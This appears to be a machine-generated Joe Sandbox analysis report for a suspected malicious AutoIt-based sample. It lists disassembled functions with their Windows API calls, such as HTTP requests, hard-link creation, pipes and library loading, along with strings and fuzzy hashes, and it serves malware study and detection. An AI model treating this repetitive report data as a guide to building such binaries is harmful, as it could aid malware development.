                                                                                      • Source File: 00000000.00000002.1348424061.00000000005A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005A0000, based on PE: true
                                                                                      • Associated: 00000000.00000002.1348406527.00000000005A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000062D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000064E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348524558.000000000065A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348543254.0000000000664000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_0_2_5a0000_lgkWBwqY15.jbxd
                                                                                      Similarity
                                                                                      • API ID: Variant$ClearInit$BuffCharCopyUpper
                                                                                      • String ID: AUTOIT.ERROR$Incorrect Parameter format
                                                                                      • API String ID: 4237274167-1221869570
                                                                                      • Opcode ID: fb7424a5c6e12732b832adcef037356eac6eb649966d0c159ba0c14da477a072
                                                                                      • Instruction ID: aef33f0678fc3e8851178b3fbdad61162e9e929f3cddb0958fbafec88e468ab3
                                                                                      • Opcode Fuzzy Hash: fb7424a5c6e12732b832adcef037356eac6eb649966d0c159ba0c14da477a072
                                                                                      • Instruction Fuzzy Hash: 10914674608306DFCB10DF24C48996ABBE9BFC9704F14482EF99A8B361DB35E905CB52
                                                                                      Function 005E5347 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 180windowCOMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                        • Part of subcall function 005BC6F4: _wcscpy.LIBCMT ref: 005BC717
                                                                                      • _memset.LIBCMT ref: 005E5438
                                                                                      • GetMenuItemInfoW.USER32(?), ref: 005E5467
                                                                                      • SetMenuItemInfoW.USER32(?,?,00000000,?), ref: 005E5513
                                                                                      • SetMenuDefaultItem.USER32(?,000000FF,00000000), ref: 005E553D
                                                                                      Strings
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000000.00000002.1348424061.00000000005A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005A0000, based on PE: true
                                                                                      • Associated: 00000000.00000002.1348406527.00000000005A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000062D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000064E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348524558.000000000065A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348543254.0000000000664000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_0_2_5a0000_lgkWBwqY15.jbxd
                                                                                      Similarity
                                                                                      • API ID: ItemMenu$Info$Default_memset_wcscpy
                                                                                      • String ID: 0
                                                                                      • API String ID: 4152858687-4108050209
                                                                                      • Opcode ID: f98f44337f5f964150b886ba18e261fcd87036adc7f52c26c4bde3db0272b772
                                                                                      • Instruction ID: 735cfd7bb65476293c5b91742acc4ad018e062cf08c62ec47ccdf1074f8b80b7
                                                                                      • Opcode Fuzzy Hash: f98f44337f5f964150b886ba18e261fcd87036adc7f52c26c4bde3db0272b772
                                                                                      • Instruction Fuzzy Hash: 535103711047819BD7199F29C845BABBFE9FB86318F04092EF8D6D31D1EBA0CD448B52
                                                                                      Function 005E0213 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 120comlibraryloaderCOMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      • CoCreateInstance.OLE32(?,00000000,00000005,?,?,?,?,?,?,?,?,?,?,?), ref: 005E027B
                                                                                      • SetErrorMode.KERNEL32(00000001,?,?,?,?,?,?,?,?,?), ref: 005E02B1
                                                                                      • GetProcAddress.KERNEL32(?,DllGetClassObject), ref: 005E02C2
                                                                                      • SetErrorMode.KERNEL32(00000000,?,?,?,?,?,?,?,?,?), ref: 005E0344
                                                                                      Strings
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000000.00000002.1348424061.00000000005A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005A0000, based on PE: true
                                                                                      • Associated: 00000000.00000002.1348406527.00000000005A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000062D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000064E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348524558.000000000065A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348543254.0000000000664000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_0_2_5a0000_lgkWBwqY15.jbxd
                                                                                      Similarity
                                                                                      • API ID: ErrorMode$AddressCreateInstanceProc
                                                                                      • String ID: DllGetClassObject
                                                                                      • API String ID: 753597075-1075368562
                                                                                      • Opcode ID: 46fe2bb622ad92e324d4fce5dc3129416c83332026ebcdfcff64c8bdd10fa7fe
                                                                                      • Instruction ID: 15e7defeed61ba6b28ad6b5c8bfbc1ae4c132c3f60b77c12f25dbe9768abd4da
                                                                                      • Opcode Fuzzy Hash: 46fe2bb622ad92e324d4fce5dc3129416c83332026ebcdfcff64c8bdd10fa7fe
                                                                                      • Instruction Fuzzy Hash: 04418D71600204EFDB19CF55C884B9ABFB9FF48311B1494A9ED899F286D7F1D984CBA0
                                                                                      Function 005E5007 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 114windowCOMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      • _memset.LIBCMT ref: 005E5075
                                                                                      • GetMenuItemInfoW.USER32 ref: 005E5091
                                                                                      • DeleteMenu.USER32(00000004,00000007,00000000), ref: 005E50D7
                                                                                      • DeleteMenu.USER32(?,00000000,00000000,?,00000000,00000000,00661708,00000000), ref: 005E5120
                                                                                      Strings
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000000.00000002.1348424061.00000000005A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005A0000, based on PE: true
                                                                                      • Associated: 00000000.00000002.1348406527.00000000005A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000062D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000064E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348524558.000000000065A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348543254.0000000000664000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_0_2_5a0000_lgkWBwqY15.jbxd
                                                                                      Similarity
                                                                                      • API ID: Menu$Delete$InfoItem_memset
                                                                                      • String ID: 0
                                                                                      • API String ID: 1173514356-4108050209
                                                                                      • Opcode ID: 91e96f126e026d447681950bf40d5ed1e0fec06893f0477eed3b1219a9c0cf4b
                                                                                      • Instruction ID: 222a5e2061cf9b4316e01d4f59fe03a254a42f6c84bbad4447f26e27658c1e53
                                                                                      • Opcode Fuzzy Hash: 91e96f126e026d447681950bf40d5ed1e0fec06893f0477eed3b1219a9c0cf4b
                                                                                      • Instruction Fuzzy Hash: 8A41D2702047829FD728DF25D884B2ABFE4BF85718F144A5EF9D697291E730E800CB62
                                                                                      Function 005EE698 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 110fileCOMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      • CreateHardLinkW.KERNEL32(00000002,?,00000000), ref: 005EE742
                                                                                      • GetLastError.KERNEL32(?,00000000), ref: 005EE768
                                                                                      • DeleteFileW.KERNEL32(00000002,?,00000000), ref: 005EE78D
                                                                                      • CreateHardLinkW.KERNEL32(00000002,?,00000000,?,00000000), ref: 005EE7B9
                                                                                      Strings
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000000.00000002.1348424061.00000000005A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005A0000, based on PE: true
                                                                                      • Associated: 00000000.00000002.1348406527.00000000005A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000062D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000064E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348524558.000000000065A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348543254.0000000000664000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_0_2_5a0000_lgkWBwqY15.jbxd
                                                                                      Similarity
                                                                                      • API ID: CreateHardLink$DeleteErrorFileLast
                                                                                      • String ID: p1ou`Kpu
                                                                                      • API String ID: 3321077145-1196383048
                                                                                      • Opcode ID: a97c4a2965268648f1bf382f3e842438380706f093d6dfbe4ecc39bb34ad37c8
                                                                                      • Instruction ID: 1363760fcd8a6d257ef19333e53010f83ec91e5aa7e7a06f67b8b4262d8510b4
                                                                                      • Opcode Fuzzy Hash: a97c4a2965268648f1bf382f3e842438380706f093d6dfbe4ecc39bb34ad37c8
                                                                                      • Instruction Fuzzy Hash: 62412539200651DFCF15EF15C449A4DBBF6BF9A710B198489EA46AB3A2CB30FD41CB91
                                                                                      Function 00600567 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 100COMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      • CharLowerBuffW.USER32(?,?,?,?), ref: 00600587
                                                                                      Strings
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000000.00000002.1348424061.00000000005A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005A0000, based on PE: true
                                                                                      • Associated: 00000000.00000002.1348406527.00000000005A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000062D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000064E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348524558.000000000065A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348543254.0000000000664000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_0_2_5a0000_lgkWBwqY15.jbxd
                                                                                      Similarity
                                                                                      • API ID: BuffCharLower
                                                                                      • String ID: cdecl$none$stdcall$winapi
                                                                                      • API String ID: 2358735015-567219261
                                                                                      • Opcode ID: 7cf741df3dcfd3e1f3fa9167c5e80433a36e060cdcbc1da9c52fde51a3f64ebe
                                                                                      • Instruction ID: 0ffb08c488ecf31f6057cad63f62ab76e98131f78422da655d64a94675b85e03
                                                                                      • Opcode Fuzzy Hash: 7cf741df3dcfd3e1f3fa9167c5e80433a36e060cdcbc1da9c52fde51a3f64ebe
                                                                                      • Instruction Fuzzy Hash: 7631B27050061AABDF04EF54C841AEEBBB6FF85314F004629E826A76D1DB72A915CB90
                                                                                      Function 005DB80A Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 93windowCOMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      • SendMessageW.USER32(?,00000188,00000000,00000000), ref: 005DB88E
                                                                                      • SendMessageW.USER32(?,0000018A,00000000,00000000), ref: 005DB8A1
                                                                                      • SendMessageW.USER32(?,00000189,?,00000000), ref: 005DB8D1
                                                                                      Strings
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000000.00000002.1348424061.00000000005A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005A0000, based on PE: true
                                                                                      • Associated: 00000000.00000002.1348406527.00000000005A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000062D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000064E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348524558.000000000065A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348543254.0000000000664000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_0_2_5a0000_lgkWBwqY15.jbxd
                                                                                      Similarity
                                                                                      • API ID: MessageSend
                                                                                      • String ID: ComboBox$ListBox
                                                                                      • API String ID: 3850602802-1403004172
                                                                                      • Opcode ID: 1288182fced87d31151f10ccfec5fa27c01d71909fbba1ad443a1ee84895d7b8
                                                                                      • Instruction ID: e13f1c5fb2dd7e763224fbd2b593de7471e1dd5ce8b0fc8e7b0439a0f3948be7
                                                                                      • Opcode Fuzzy Hash: 1288182fced87d31151f10ccfec5fa27c01d71909fbba1ad443a1ee84895d7b8
                                                                                      • Instruction Fuzzy Hash: 6121E176900109FEEB249B68D88A9BE7F7EFF46350F11412AF011A62E1DB745D0A9760
                                                                                      Function 005F43E2 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 85networkCOMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      • InternetOpenUrlW.WININET(?,?,00000000,00000000,?,00000000), ref: 005F4401
                                                                                      • HttpSendRequestW.WININET(00000000,00000000,00000000,00000000,00000000), ref: 005F4427
                                                                                      • HttpQueryInfoW.WININET(00000000,00000005,?,?,?), ref: 005F4457
                                                                                      • InternetCloseHandle.WININET(00000000), ref: 005F449E
                                                                                        • Part of subcall function 005F5052: GetLastError.KERNEL32(?,?,005F43CC,00000000,00000000,00000001), ref: 005F5067
                                                                                      Strings
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000000.00000002.1348424061.00000000005A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005A0000, based on PE: true
                                                                                      • Associated: 00000000.00000002.1348406527.00000000005A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000062D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000064E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348524558.000000000065A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348543254.0000000000664000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_0_2_5a0000_lgkWBwqY15.jbxd
                                                                                      Similarity
                                                                                      • API ID: HttpInternet$CloseErrorHandleInfoLastOpenQueryRequestSend
                                                                                      • String ID:
                                                                                      • API String ID: 1951874230-3916222277
                                                                                      • Opcode ID: 1a613c7023102b9d1252f62a906633e11fa7c1b0277b14d72b5b0ca92a608d88
                                                                                      • Instruction ID: a9c2347da629e0ceb0937f13782f6eca06da95bea5ce03028ca96649f07e9b3f
                                                                                      • Opcode Fuzzy Hash: 1a613c7023102b9d1252f62a906633e11fa7c1b0277b14d72b5b0ca92a608d88
                                                                                      • Instruction Fuzzy Hash: 002192B150060DBFEB219F54CC89FBF7AEDFB88748F10841AF205E6140EA688D059B71
                                                                                      Function 006090E2 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 80windowlibraryCOMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                        • Part of subcall function 005BD17C: CreateWindowExW.USER32(?,?,?,?,?,?,?,?,?,?,00000000,00000096), ref: 005BD1BA
                                                                                        • Part of subcall function 005BD17C: GetStockObject.GDI32(00000011), ref: 005BD1CE
                                                                                        • Part of subcall function 005BD17C: SendMessageW.USER32(00000000,00000030,00000000), ref: 005BD1D8
                                                                                      • SendMessageW.USER32(00000000,00000467,00000000,?), ref: 0060915C
                                                                                      • LoadLibraryW.KERNEL32(?), ref: 00609163
                                                                                      • SendMessageW.USER32(?,00000467,00000000,00000000), ref: 00609178
                                                                                      • DestroyWindow.USER32(?), ref: 00609180
                                                                                      Strings
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000000.00000002.1348424061.00000000005A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005A0000, based on PE: true
                                                                                      • Associated: 00000000.00000002.1348406527.00000000005A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000062D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000064E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348524558.000000000065A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348543254.0000000000664000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_0_2_5a0000_lgkWBwqY15.jbxd
                                                                                      Similarity
                                                                                      • API ID: MessageSend$Window$CreateDestroyLibraryLoadObjectStock
                                                                                      • String ID: SysAnimate32
                                                                                      • API String ID: 4146253029-1011021900
                                                                                      • Opcode ID: a8eb1bcc4d8215b7ece3897dc1f53d6505490ca0795394755c9a465658d5c060
                                                                                      • Instruction ID: 5f6378d9f64ad9ad0c87473ff2139ccf8c6fc6eb076a1fa9f635475e79874df6
                                                                                      • Opcode Fuzzy Hash: a8eb1bcc4d8215b7ece3897dc1f53d6505490ca0795394755c9a465658d5c060
                                                                                      • Instruction Fuzzy Hash: 49218071240206BBEF284E64DC88EFB37ABEF95364F100658F954962D1C7B1DC52A770
                                                                                      Function 005E9568 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 78filepipeCOMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      • GetStdHandle.KERNEL32(0000000C), ref: 005E9588
                                                                                      • CreatePipe.KERNEL32(?,?,0000000C,00000000), ref: 005E95B9
                                                                                      • GetStdHandle.KERNEL32(0000000C), ref: 005E95CB
                                                                                      • CreateFileW.KERNEL32(nul,40000000,00000002,0000000C,00000003,00000080,00000000), ref: 005E9605
                                                                                      Strings
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000000.00000002.1348424061.00000000005A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005A0000, based on PE: true
                                                                                      • Associated: 00000000.00000002.1348406527.00000000005A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000062D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000064E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348524558.000000000065A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348543254.0000000000664000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_0_2_5a0000_lgkWBwqY15.jbxd
                                                                                      Similarity
                                                                                      • API ID: CreateHandle$FilePipe
                                                                                      • String ID: nul
                                                                                      • API String ID: 4209266947-2873401336
                                                                                      • Opcode ID: c6ae0b21d16866285f007a70c03ce2a8fbf9376d51708ecb58175ab10b3d361b
                                                                                      • Instruction ID: 7db9b297a07cfd5e06fa4a12d803688bd67e5d65d6af0aaa0a5692dc0668e0aa
                                                                                      • Opcode Fuzzy Hash: c6ae0b21d16866285f007a70c03ce2a8fbf9376d51708ecb58175ab10b3d361b
                                                                                      • Instruction Fuzzy Hash: D6214C70600246ABDB299F66DC05A9ABBB8BF85724F204A1AF9E1E72D0D770D941CB50
                                                                                      Function 005E9634 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 78filepipeCOMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      • GetStdHandle.KERNEL32(000000F6), ref: 005E9653
                                                                                      • CreatePipe.KERNEL32(?,?,0000000C,00000000), ref: 005E9683
                                                                                      • GetStdHandle.KERNEL32(000000F6), ref: 005E9694
                                                                                      • CreateFileW.KERNEL32(nul,80000000,00000001,0000000C,00000003,00000080,00000000), ref: 005E96CE
                                                                                      Strings
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000000.00000002.1348424061.00000000005A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005A0000, based on PE: true
                                                                                      • Associated: 00000000.00000002.1348406527.00000000005A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000062D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000064E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348524558.000000000065A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348543254.0000000000664000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_0_2_5a0000_lgkWBwqY15.jbxd
                                                                                      Similarity
                                                                                      • API ID: CreateHandle$FilePipe
                                                                                      • String ID: nul
                                                                                      • API String ID: 4209266947-2873401336
                                                                                      • Opcode ID: 03c8f36367ccace595541d5c664859ef4522a1465138c25184464a7d4817c023
                                                                                      • Instruction ID: e9718036feb9279b665de0149834482bed44e5cebfc132835844d8a0a52fde53
                                                                                      • Opcode Fuzzy Hash: 03c8f36367ccace595541d5c664859ef4522a1465138c25184464a7d4817c023
                                                                                      • Instruction Fuzzy Hash: C521B6715002859BDB289F6A8C04E9EBBE8BF84734F200A1AFDE1E72D1E770D941CB50
                                                                                      Function 005EDAF6 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 72COMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      • SetErrorMode.KERNEL32(00000001), ref: 005EDB0A
                                                                                      • GetVolumeInformationW.KERNEL32(?,?,00007FFF,?,00000000,00000000,00000000,00000000), ref: 005EDB5E
                                                                                      • __swprintf.LIBCMT ref: 005EDB77
                                                                                      • SetErrorMode.KERNEL32(00000000,00000001,00000000,0063DC00), ref: 005EDBB5
                                                                                      Strings
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000000.00000002.1348424061.00000000005A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005A0000, based on PE: true
                                                                                      • Associated: 00000000.00000002.1348406527.00000000005A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000062D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000064E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348524558.000000000065A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348543254.0000000000664000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_0_2_5a0000_lgkWBwqY15.jbxd
                                                                                      Similarity
                                                                                      • API ID: ErrorMode$InformationVolume__swprintf
                                                                                      • String ID: %lu
                                                                                      • API String ID: 3164766367-685833217
                                                                                      • Opcode ID: 4fa42f39a85b0fab8f00d735e8b5ece3544b052e8dfa94048169f3a461aed94b
                                                                                      • Instruction ID: 9154ebc819cdcea40a71051c69f1d17219ebb0c055b08d0b46f7e216c0385d41
                                                                                      • Opcode Fuzzy Hash: 4fa42f39a85b0fab8f00d735e8b5ece3544b052e8dfa94048169f3a461aed94b
                                                                                      • Instruction Fuzzy Hash: D3218035A00149AFCB10EFA5C989EAEBFB9FF89704B014069F509E7251DB71EA01CB61
                                                                                      Function 005DC9E0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 67windowCOMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                        • Part of subcall function 005DC82D: SendMessageTimeoutW.USER32(?,00000000,00000000,00000000,00000002,00001388,00000001), ref: 005DC84A
                                                                                        • Part of subcall function 005DC82D: GetWindowThreadProcessId.USER32(?,00000000), ref: 005DC85D
                                                                                        • Part of subcall function 005DC82D: GetCurrentThreadId.KERNEL32 ref: 005DC864
                                                                                        • Part of subcall function 005DC82D: AttachThreadInput.USER32(00000000), ref: 005DC86B
                                                                                      • GetFocus.USER32 ref: 005DCA05
                                                                                        • Part of subcall function 005DC876: GetParent.USER32(?), ref: 005DC884
                                                                                      • GetClassNameW.USER32(?,?,00000100), ref: 005DCA4E
                                                                                      • EnumChildWindows.USER32(?,005DCAC4), ref: 005DCA76
                                                                                      • __swprintf.LIBCMT ref: 005DCA90
                                                                                      Strings
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000000.00000002.1348424061.00000000005A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005A0000, based on PE: true
                                                                                      • Associated: 00000000.00000002.1348406527.00000000005A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000062D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000064E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348524558.000000000065A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348543254.0000000000664000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_0_2_5a0000_lgkWBwqY15.jbxd
                                                                                      Similarity
                                                                                      • API ID: Thread$AttachChildClassCurrentEnumFocusInputMessageNameParentProcessSendTimeoutWindowWindows__swprintf
                                                                                      • String ID: %s%d
                                                                                      • API String ID: 3187004680-1110647743
                                                                                      • Opcode ID: dbf9d6c3c37e34af544578f3e2ee6e720945eb32474b900ba16fe7f4de2ff952
                                                                                      • Instruction ID: d5be9d4306598fec6b349daaf5e72e39d304442dfe81b9912ca61ed5c975ae13
                                                                                      • Opcode Fuzzy Hash: dbf9d6c3c37e34af544578f3e2ee6e720945eb32474b900ba16fe7f4de2ff952
                                                                                      • Instruction Fuzzy Hash: 8111727550020BABCB21BFA49C89FAD7F69BB85714F044067FE09AA282CB709546DB71
                                                                                      Function 0060A409 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 66windowCOMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      • SendMessageW.USER32(00000000,00000405,00000000,00000000), ref: 0060A46D
                                                                                      • SendMessageW.USER32(?,00000406,00000000,mmmmmm), ref: 0060A482
                                                                                      • SendMessageW.USER32(?,00000414,0000000A,00000000), ref: 0060A48F
                                                                                      Strings
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000000.00000002.1348424061.00000000005A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005A0000, based on PE: true
                                                                                      • Associated: 00000000.00000002.1348406527.00000000005A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000062D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000064E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348524558.000000000065A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348543254.0000000000664000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_0_2_5a0000_lgkWBwqY15.jbxd
                                                                                      Similarity
                                                                                      • API ID: MessageSend
                                                                                      • String ID: mmmmmm$msctls_trackbar32
                                                                                      • API String ID: 3850602802-3229025051
                                                                                      • Opcode ID: 76d6c1d0738a8503f36ae0d24223bbf9714b1faa48fb9755e5ccb4c416b75298
                                                                                      • Instruction ID: 6bf3a2e47b614e345a4cbf2736cae82a27eed3f9e18dd3e2da8d99ee7feb91e1
                                                                                      • Opcode Fuzzy Hash: 76d6c1d0738a8503f36ae0d24223bbf9714b1faa48fb9755e5ccb4c416b75298
                                                                                      • Instruction Fuzzy Hash: 0F11E775240308BEEF245F74CC49FEB3BAAEF89754F014128FA45961D1D6B2E811C724
                                                                                      Function 005C7A94 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 41COMMONLIBRARYCODE
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      • __lock.LIBCMT ref: 005C7AD8
                                                                                        • Part of subcall function 005C7CF4: __mtinitlocknum.LIBCMT ref: 005C7D06
                                                                                        • Part of subcall function 005C7CF4: EnterCriticalSection.KERNEL32(00000000,?,005C7ADD,0000000D), ref: 005C7D1F
                                                                                      • InterlockedIncrement.KERNEL32(?), ref: 005C7AE5
                                                                                      • __lock.LIBCMT ref: 005C7AF9
                                                                                      • ___addlocaleref.LIBCMT ref: 005C7B17
                                                                                      Strings
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000000.00000002.1348424061.00000000005A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005A0000, based on PE: true
                                                                                      • Associated: 00000000.00000002.1348406527.00000000005A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000062D000.00000002.00000001.01000000.00000003.sdmpDownload File
